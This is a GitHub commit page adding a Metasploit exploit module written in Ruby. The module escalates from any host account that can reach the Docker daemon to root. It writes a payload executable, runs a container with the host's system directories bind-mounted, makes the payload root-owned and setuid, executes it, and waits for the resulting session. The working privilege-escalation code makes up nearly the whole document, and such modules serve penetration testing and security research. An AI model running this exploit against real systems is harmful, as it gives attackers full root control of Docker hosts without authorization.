Skip to content

Commit 6c11692

Browse files
author
forzoni
committed
Add privilege escalation for host users that can access the docker daemon.
1 parent fd07da3 commit 6c11692

File tree

1 file changed

+75
-0
lines changed

1 file changed

+75
-0
lines changed
Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rex'
8+
require 'msf/core/exploit/exe'
9+
10+
class MetasploitModule < Msf::Exploit::Local
11+
Rank = ExcellentRanking
12+
include Msf::Exploit::EXE
13+
include Msf::Post::File
14+
15+
def initialize(info={})
16+
super(update_info(info, {
17+
'Name' => 'Docker Daemon Privilege Escalation',
18+
'Description' => %q{
19+
This module obtains root privileges from any host account with access to the
20+
Docker daemon. Usually this includes accounts in the `docker` group.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' => ['forzoni'],
24+
'DisclosureDate' => 'Jun 28 2016',
25+
'Platform' => 'linux',
26+
'Arch' => [ARCH_X86, ARCH_X86_64],
27+
'Targets' => [ ['Automatic', {}] ],
28+
'SessionTypes' => ['shell', 'meterpreter']
29+
}
30+
))
31+
register_options([
32+
OptInt.new("ListenerTimeout", [true, "Number of seconds to wait for the exploit", 60]),
33+
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
34+
], self.class)
35+
end
36+
37+
def check
38+
if cmd_exec("sh -c 'docker ps; echo $?'").strip =~ /1$/
39+
print_warning("Failed to access Docker daemon.")
40+
Exploit::CheckCode::Safe
41+
else
42+
Exploit::CheckCode::Vulnerable
43+
end
44+
end
45+
46+
def exploit
47+
pl = generate_payload_exe
48+
exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"
49+
print_status("Writing payload executable to '#{exe_file}'")
50+
write_file(exe_file, pl)
51+
cmd_exec("chmod +x #{exe_file}")
52+
print_status shell_script(exe_file)
53+
print_status cmd_exec("sh -c '#{shell_script(exe_file)}'")
54+
55+
stime = Time.now.to_f
56+
print_status "Starting the payload handler..."
57+
until session_created? || stime + datastore['ListenerTimeout'] < Time.now.to_f
58+
Rex.sleep(1)
59+
end
60+
end
61+
62+
def shell_script(exploit_path)
63+
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
64+
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")
65+
%Q{
66+
IMG=`echo "FROM scratch\\nCMD a" | docker build -q - | cut -d ":" -f2`
67+
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
68+
docker run #{dep_options} $IMG /bin/bash -c "$EXPLOIT"
69+
docker rmi $IMG
70+
#{exploit_path}
71+
}.strip.split("\n").map(&:strip).join(';')
72+
end
73+
74+
end
75+

0 commit comments

Comments
 (0)